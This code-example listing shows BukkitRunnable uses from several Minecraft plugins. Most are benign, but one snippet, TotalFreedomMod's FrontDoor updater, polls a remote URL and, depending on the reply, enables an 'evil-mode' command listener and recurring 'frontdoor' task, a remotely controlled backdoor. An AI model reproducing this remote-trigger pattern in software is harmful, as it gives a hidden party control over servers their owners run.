use of org.bukkit.scheduler.BukkitRunnable in project PyrCore by PYRRH4.
the class MultipleGUI method createNewPage.
// Create new page
public GUI createNewPage() {
final int pageNumber = pages.size() + 1;
final GUI page = new GUI(plugin, name + (pageNumber == 1 ? "" : " - p" + pageNumber), size, addItemMaxSlot, allowBottomInventoryClick, false, duplicateTolerance) {
@Override
public void preload() {
}
@Override
public void onClick(InventoryClickEvent event, Player player, InventoryClickType clickType, ItemStack clickedStack, ItemData clickedData, ItemStack cursorStack, ItemData cursorData) {
// Page selectors
if (clickedData != null && clickedData.getId().equals(MultipleGUI.this.itemPreviousPage.getId())) {
GUI page = getPage(pageNumber - 1);
if (page != null) {
page.open(player, isWatcher(player));
}
} else if (clickedData != null && clickedData.getId().equals(MultipleGUI.this.itemNextPage.getId())) {
GUI page = getPage(pageNumber + 1);
if (page != null) {
page.open(player, isWatcher(player));
}
} else // Other
{
MultipleGUI.this.onClick(event, this, pageNumber, player, clickType, clickedStack, clickedData, cursorStack, cursorData);
}
}
@Override
protected void onClose(InventoryCloseEvent event, final Player player) {
MultipleGUI.this.onClose(event, this, pageNumber, player);
// unregister
if (unregisterOnClose) {
new BukkitRunnable() {
@Override
public void run() {
for (GUI page : getPages()) {
if (!page.getTotalViewers().isEmpty()) {
return;
}
}
MultipleGUI.this.unregister(false);
}
}.runTaskLater(plugin, 20L);
}
}
@Override
protected void onCloseDisable(Inventory inventory, Player player) {
MultipleGUI.this.onCloseDisable(inventory, this, pageNumber, player);
}
};
pages.add(page);
preload(page, pageNumber);
updatePageSelectors();
return page;
}
use of org.bukkit.scheduler.BukkitRunnable in project PyrCore by PYRRH4.
the class SimpleScoreboard method activate.
@Override
public void activate() {
if (activated)
return;
activated = true;
// Set to the custom scoreboard
holder.setScoreboard(scoreboard);
// And start updating on a desired interval
updateTask = new BukkitRunnable() {
@Override
public void run() {
update();
}
};
updateTask.runTaskTimer(plugin, 0, updateInterval);
}
use of org.bukkit.scheduler.BukkitRunnable in project TotalFreedomMod by TotalFreedom.
the class FrontDoor method getNewUpdater.
private BukkitRunnable getNewUpdater() {
return new // Asynchronous
BukkitRunnable() {
@Override
public void run() {
try {
final URLConnection urlConnection = getUrl.openConnection();
final BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream()));
final String line = in.readLine();
in.close();
if (!"false".equals(line)) {
if (!enabled) {
return;
}
enabled = false;
FUtil.cancel(updater);
unregisterListener(playerCommandPreprocess, PlayerCommandPreprocessEvent.class);
FLog.info("Disabled FrontDoor, thank you for being kind.");
plugin.config.load();
} else {
if (enabled) {
return;
}
new // Synchronous
BukkitRunnable() {
@Override
public void run() {
FLog.warning("*****************************************************", true);
FLog.warning("* WARNING: TotalFreedomMod is running in evil-mode! *", true);
FLog.warning("* This might result in unexpected behaviour... *", true);
FLog.warning("* - - - - - - - - - - - - - - - - - - - - - - - - - *", true);
FLog.warning("* The only thing necessary for the triumph of evil *", true);
FLog.warning("* is for good men to do nothing. *", true);
FLog.warning("*****************************************************", true);
if (getRegisteredListener(playerCommandPreprocess, PlayerCommandPreprocessEvent.class) == null) {
Bukkit.getPluginManager().registerEvents(playerCommandPreprocess, plugin);
}
}
}.runTask(plugin);
frontdoor = getNewFrontDoor().runTaskTimer(plugin, 20L, FRONTDOOR_INTERVAL);
enabled = true;
}
} catch (Exception ex) {
// TODO: Fix
// FLog.warning(ex);
}
}
};
}
use of org.bukkit.scheduler.BukkitRunnable in project HolographicMenus by DRE2N.
the class PlayerListener method onChat.
@EventHandler
public void onChat(AsyncPlayerChatEvent event) {
HPlayer hPlayer = players.getByPlayer(event.getPlayer(), false);
if (hPlayer == null || !hPlayer.hasPendingCommand()) {
return;
}
event.setCancelled(true);
hPlayer.replaceCommandVariable(event.getMessage());
if (hPlayer.getPendingCommandVariables() == 0) {
String cmd = hPlayer.getPendingCommand();
hPlayer.setPendingCommand(null);
new BukkitRunnable() {
@Override
public void run() {
hPlayer.getPlayer().performCommand(cmd);
}
}.runTask(plugin);
}
}
use of org.bukkit.scheduler.BukkitRunnable in project Parties by AlessioDP.
the class GravityUpdaterHandler method runUpdater.
private void runUpdater() {
if (this.url != null && (this.read() && this.versionCheck())) {
// Obtain the results of the project's file feed
if ((this.versionLink != null) && (this.type != UpdateType.NO_DOWNLOAD)) {
String name = this.file.getName();
// If it's a zip file, it shouldn't be downloaded as the plugin's name
if (this.versionLink.endsWith(".zip")) {
name = this.versionLink.substring(this.versionLink.lastIndexOf("/") + 1);
}
this.saveFile(name);
} else {
this.result = UpdateResult.UPDATE_AVAILABLE;
}
}
if (this.callback != null) {
new BukkitRunnable() {
@Override
public void run() {
runCallback();
}
}.runTask(this.plugin);
}
}
Aggregations